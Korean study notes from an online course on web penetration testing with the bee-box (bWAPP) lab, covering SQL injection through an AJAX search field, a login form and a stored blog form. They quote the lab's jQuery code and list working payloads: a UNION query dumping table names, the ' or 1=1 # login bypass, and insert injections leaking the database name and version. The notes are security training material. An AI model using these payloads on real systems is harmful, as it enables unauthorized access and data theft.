출처
인프런, 비박스를 활용한 웹 모의해킹 완벽 실습 9강 https://www.inflearn.com/course/%EB%B9%84%EB%B0%95%EC%8A%A4-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%8B%A4%EC%8A%B5/
SQL 인젝션 기초
SQL 인젝션(AJAX, Login, Blog)
AJAX/JSON/jQuery
- AJAX(Asynchronous JavaScript and XML): 자바스크립트와 JSON을 혼합하여 사용하는 기술
- 페이지 이동 없이 고속으로 화면 전환 가능, 서버 처리를 기다리지 않고 비동기 요청 가능, 수신하는 데이터 양을 줄이고, 클라이언트에게 처리를 위임할 수 있음
SQL Injection (AJAX/JSON/JQuery)
- 검색 버튼을 누르지 않고 키보드 키만 눌러도 XMLHttpRequest를 통해 요청
- Response는 다음과 같음
페이지 소스 확인
<script>
$("#title").keyup(function(){
// Searches for a movie title
var search = {title: $("#title").val()};
// AJAX call
$.getJSON("sqli_10-2.php", search, function(data){
init_table();
// Constructs the table from the JSON data
var total = 0;
$.each(data, function(key, val){
total++;
$("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
});
// Empty result
if (total == 0)
{
$("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
}
})
});
function init_table(){
$("#table_yellow").html("<tr height='30' bgcolor='#ffb717' align='center'>" +
"<td width='200'><b>Title</b></td>" +
"<td width='80'><b>Release</b></td>" +
"<td width='140'><b>Character</b></td>" +
"<td width='80'><b>Genre</b></td>" +
"<td width='80'><b>IMDb</b></td>" +
"</tr>"
);
}
</script>
- 이전 SQL 인젝션과 마찬가지로 검색창에 SQL 인젝션 구문을 넣으면 실행되는 것을 확인할 수 있음
0' union select 1,table_name,3,4,5,6,7 from information_schema.tables #
SQL Injection (Login Form/Hero)
- Login:
' or 1=1 #
- Password:
1
- 테이블 두 번째 것을 출력하고 싶으면
- Login:
' or 1=1 limit 1,1 #
SQL Injection (Stored(Blog))
- SQL의 insert문을 이용하여 테이블을 채우는 구조
- 대략 형태는
insert testtable1 value('test1234', 'bee')
와 같음 test1234', database()) #
test1234', @@version)#
Comments